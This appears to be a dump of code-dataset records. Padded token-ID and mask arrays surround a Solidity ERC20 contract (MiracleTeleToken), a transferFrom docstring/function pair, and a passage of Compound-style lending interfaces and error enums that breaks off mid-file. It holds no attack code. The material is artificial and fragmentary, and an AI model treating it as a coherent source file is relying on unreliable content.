-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.16;
contract Owned {
address public owner;
address public signer;
function Owned() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function transferSignership(address newSigner) public onlyOwner {
signer = newSigner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balances;
// Mapping for allowance
mapping (address => mapping (address => uint256)) public allowed;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed sender, address indexed spender, uint256 value);
function ERC20Token(uint256 _supply, string _name, string _symbol)
public
{
//initial mint
totalSupply = _supply * 10**uint256(decimals);
balances[msg.sender] = totalSupply;
//set variables
name=_name;
symbol=_symbol;
//trigger event
Transfer(0x0, msg.sender, totalSupply);
}
/**
* Returns current tokens total supply
*/
function totalSupply()
public
constant
returns (uint256)
{
return totalSupply;
}
/**
* Get the token balance for account `tokenOwner`
*/
function balanceOf(address _owner)
public
constant
returns (uint256 balance)
{
return balances[_owner];
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
//set allowance
allowed[msg.sender][_spender] = _value;
//trigger event
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Show allowance
*/
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value)
internal
returns (bool success)
{
// Do not allow transfer to 0x0 or the token contract itself or from address to itself
require((_to != address(0)) && (_to != address(this)) && (_to != _from));
// Check if the sender has enough
require((_value > 0) && (balances[_from] >= _value));
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
return _transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
// Check allowance
require(_value <= allowed[_from][msg.sender]);
//decrement allowance
allowed[_from][msg.sender] -= _value;
//transfer tokens
return _transfer(_from, _to, _value);
}
}
contract MiracleTeleToken is ERC20Token, Owned {
using SafeMath for uint256;
// Mapping for allowance
mapping (address => uint8) public delegations;
mapping (address => uint256) public contributions;
// This generates a public event on the blockchain that will notify clients
event Delegate(address indexed from, address indexed to);
event UnDelegate(address indexed from, address indexed to);
// This generates a public event on the blockchain that will notify clients
event Contribute(address indexed from, uint256 indexed value);
event Reward(address indexed from, uint256 indexed value);
/**
* Initializes contract with initial supply tokens to the creator of the contract
*/
function MiracleTeleToken(uint256 _supply) ERC20Token(_supply, "MiracleTele", "TELE") public {}
/**
* Mint new tokens
*
* @param _value the amount of new tokens
*/
function mint(uint256 _value)
public
onlyOwner
{
// Prevent mine 0 tokens
require(_value > 0);
// Check overflow
balances[owner] = balances[owner].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(address(0), owner, _value);
}
function delegate(uint8 _v, bytes32 _r, bytes32 _s)
public
onlySigner
{
address allowes = ecrecover(getPrefixedHash(signer), _v, _r, _s);
delegations[allowes]=1;
Delegate(allowes, signer);
}
function unDelegate(uint8 _v, bytes32 _r, bytes32 _s)
public
onlySigner
{
address allowes = ecrecover(getPrefixedHash(signer), _v, _r, _s);
delegations[allowes]=0;
UnDelegate(allowes, signer);
}
/**
* Show delegation
*/
function delegation(address _owner)
public
constant
returns (uint8 status)
{
return delegations[_owner];
}
/**
* @notice Hash a hash with `"\x19Ethereum Signed Message:\n32"`
* @param _message Data to ign
* @return signHash Hash to be signed.
*/
function getPrefixedHash(address _message)
pure
public
returns(bytes32 signHash)
{
signHash = keccak256("\x19Ethereum Signed Message:\n20", _message);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferDelegated(address _from, address _to, uint256 _value)
public
onlySigner
returns (bool success)
{
// Check delegate
require(delegations[_from]==1);
//transfer tokens
return _transfer(_from, _to, _value);
}
/**
* Contribute tokens from delegated address
*
* Contribute `_value` tokens `_from` address
*
* @param _from The address of the sender
* @param _value the amount to send
*/
function contributeDelegated(address _from, uint256 _value)
public
onlySigner
{
// Check delegate
require(delegations[_from]==1);
// Check if the sender has enough
require((_value > 0) && (balances[_from] >= _value));
// Subtract from the sender
balances[_from] = balances[_from].sub(_value);
contributions[_from] = contributions[_from].add(_value);
Contribute(_from, _value);
}
/**
* Reward tokens from delegated address
*
* Reward `_value` tokens to `_from` address
*
* @param _from The address of the sender
* @param _value the amount to send
*/
function reward(address _from, uint256 _value)
public
onlySigner
{
require(contributions[_from]>=_value);
contributions[_from] = contributions[_from].sub(_value);
balances[_from] = balances[_from].add(_value);
Reward(_from, _value);
}
/**
* Don't accept ETH, it is utility token
*/
function ()
public
payable
{
revert();
}
} | * Transfer tokens from other address Send `_value` tokens to `_to` on behalf of `_from` @param _from The address of the sender @param _to The address of the recipient @param _value the amount to send/ Check allowancedecrement allowancetransfer tokens | function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
}
| 386,192 | [
1,
5912,
2430,
628,
1308,
1758,
2479,
1375,
67,
1132,
68,
2430,
358,
1375,
67,
869,
68,
603,
12433,
6186,
434,
1375,
67,
2080,
68,
225,
389,
2080,
1021,
1758,
434,
326,
5793,
225,
389,
869,
1021,
1758,
434,
326,
8027,
225,
389,
1132,
326,
3844,
358,
1366,
19,
2073,
1699,
1359,
323,
3702,
1699,
19292,
16354,
634,
586,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
203,
377,
202,
482,
203,
377,
202,
6154,
261,
6430,
2216,
13,
203,
565,
288,
203,
377,
202,
6528,
24899,
1132,
1648,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
19226,
203,
203,
202,
202,
8151,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
3947,
389,
1132,
31,
203,
203,
3639,
327,
389,
13866,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: contracts/ComptrollerInterface.sol
pragma solidity 0.5.17;
contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
// File: contracts/InterestRateModel.sol
pragma solidity 0.5.17;
/**
* @title InterestRateModel Interface
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// File: contracts/GTokenInterfaces.sol
pragma solidity 0.5.17;
contract GTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-gToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
contract GTokenInterface is GTokenStorage {
/**
* @notice Indicator that this is a GToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint);
function _acceptAdmin() external returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint);
function _reduceReserves(uint reduceAmount) external returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint);
}
contract CErc20Interface {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, GTokenInterface cTokenCollateral) external returns (uint);
/*** Admin Functions ***/
function _addReserves(uint addAmount) external returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
// File: contracts/ErrorReporter.sol
pragma solidity 0.5.17;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR, // 0
UNAUTHORIZED, // 1
COMPTROLLER_MISMATCH, // 2
INSUFFICIENT_SHORTFALL, // 3
INSUFFICIENT_LIQUIDITY, // 4
INVALID_CLOSE_FACTOR, // 5
INVALID_COLLATERAL_FACTOR, // 6
INVALID_LIQUIDATION_INCENTIVE, // 7
MARKET_NOT_ENTERED, // 8 no longer possible
MARKET_NOT_LISTED, // 9
MARKET_ALREADY_LISTED, // 10
MATH_ERROR, // 11
NONZERO_BORROW_BALANCE, // 12
PRICE_ERROR, // 13
REJECTION, // 14
SNAPSHOT_ERROR, // 15
TOO_MANY_ASSETS, // 16
TOO_MUCH_REPAY // 17
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK, // 0
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, // 1
EXIT_MARKET_BALANCE_OWED, // 2
EXIT_MARKET_REJECTION, // 3
SET_CLOSE_FACTOR_OWNER_CHECK, // 4
SET_CLOSE_FACTOR_VALIDATION, // 5
SET_COLLATERAL_FACTOR_OWNER_CHECK, // 6
SET_COLLATERAL_FACTOR_NO_EXISTS, // 7
SET_COLLATERAL_FACTOR_VALIDATION, // 8
SET_COLLATERAL_FACTOR_WITHOUT_PRICE, // 9
SET_IMPLEMENTATION_OWNER_CHECK, // 10
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, // 11
SET_LIQUIDATION_INCENTIVE_VALIDATION, // 12
SET_MAX_ASSETS_OWNER_CHECK, // 13
SET_PENDING_ADMIN_OWNER_CHECK, // 14
SET_PENDING_IMPLEMENTATION_OWNER_CHECK, // 15
SET_PRICE_ORACLE_OWNER_CHECK, // 16
SUPPORT_MARKET_EXISTS, // 17
SUPPORT_MARKET_OWNER_CHECK, // 18
SET_PAUSE_GUARDIAN_OWNER_CHECK // 19
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR, // 0
UNAUTHORIZED, // 1
BAD_INPUT, // 2
COMPTROLLER_REJECTION, // 3
COMPTROLLER_CALCULATION_ERROR, // 4
INTEREST_RATE_MODEL_ERROR, // 5
INVALID_ACCOUNT_PAIR, // 6
INVALID_CLOSE_AMOUNT_REQUESTED, // 7
INVALID_COLLATERAL_FACTOR, // 8
MATH_ERROR, // 9
MARKET_NOT_FRESH, // 10
MARKET_NOT_LISTED, // 11
TOKEN_INSUFFICIENT_ALLOWANCE, // 12
TOKEN_INSUFFICIENT_BALANCE, // 13
TOKEN_INSUFFICIENT_CASH, // 14
TOKEN_TRANSFER_IN_FAILED, // 15
TOKEN_TRANSFER_OUT_FAILED // 16
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK, // 0
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, // 1
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, // 2
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, // 3
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, // 4
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, // 5
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, // 6
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, // 7
BORROW_ACCRUE_INTEREST_FAILED, // 8
BORROW_CASH_NOT_AVAILABLE, // 9
BORROW_FRESHNESS_CHECK, // 10
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, // 11
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, // 12
BORROW_MARKET_NOT_LISTED, // 13
BORROW_COMPTROLLER_REJECTION, // 14
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, // 15
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, // 16
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, // 17
LIQUIDATE_COMPTROLLER_REJECTION, // 18
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, // 19
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, // 20
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, // 21
LIQUIDATE_FRESHNESS_CHECK, // 22
LIQUIDATE_LIQUIDATOR_IS_BORROWER, // 23
LIQUIDATE_REPAY_BORROW_FRESH_FAILED, // 24
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, // 25
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, // 26
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, // 27
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, // 28
LIQUIDATE_SEIZE_TOO_MUCH, // 29
MINT_ACCRUE_INTEREST_FAILED, // 30
MINT_COMPTROLLER_REJECTION, // 31
MINT_EXCHANGE_CALCULATION_FAILED, // 32
MINT_EXCHANGE_RATE_READ_FAILED, // 33
MINT_FRESHNESS_CHECK, // 34
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, // 35
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, // 36
MINT_TRANSFER_IN_FAILED, // 37
MINT_TRANSFER_IN_NOT_POSSIBLE, // 38
REDEEM_ACCRUE_INTEREST_FAILED, // 39
REDEEM_COMPTROLLER_REJECTION, // 40
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, // 41
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, // 42
REDEEM_EXCHANGE_RATE_READ_FAILED, // 42
REDEEM_FRESHNESS_CHECK, // 43
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, // 44
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, // 45
REDEEM_TRANSFER_OUT_NOT_POSSIBLE, // 46
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, // 47
REDUCE_RESERVES_ADMIN_CHECK, // 48
REDUCE_RESERVES_CASH_NOT_AVAILABLE, // 49
REDUCE_RESERVES_FRESH_CHECK, // 50
REDUCE_RESERVES_VALIDATION, // 51
REPAY_BEHALF_ACCRUE_INTEREST_FAILED, // 52
REPAY_BORROW_ACCRUE_INTEREST_FAILED, // 53
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, //54
REPAY_BORROW_COMPTROLLER_REJECTION, // 55
REPAY_BORROW_FRESHNESS_CHECK, // 56
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, //57
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, // 58
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, // 59
SET_COLLATERAL_FACTOR_OWNER_CHECK, // 60
SET_COLLATERAL_FACTOR_VALIDATION, // 61
SET_COMPTROLLER_OWNER_CHECK, // 62
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, //63
SET_INTEREST_RATE_MODEL_FRESH_CHECK, // 64
SET_INTEREST_RATE_MODEL_OWNER_CHECK, // 65
SET_MAX_ASSETS_OWNER_CHECK, // 66
SET_ORACLE_MARKET_NOT_LISTED, // 67
SET_PENDING_ADMIN_OWNER_CHECK, // 68
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, // 69
SET_RESERVE_FACTOR_ADMIN_CHECK, // 70
SET_RESERVE_FACTOR_FRESH_CHECK, // 71
SET_RESERVE_FACTOR_BOUNDS_CHECK, // 72
TRANSFER_COMPTROLLER_REJECTION, // 73
TRANSFER_NOT_ALLOWED, // 74
TRANSFER_NOT_ENOUGH, // 75
TRANSFER_TOO_MUCH, // 76
ADD_RESERVES_ACCRUE_INTEREST_FAILED, // 77
ADD_RESERVES_FRESH_CHECK, // 78
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE // 79
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
// File: contracts/CarefulMath.sol
pragma solidity 0.5.17;
/**
* @title Careful Math
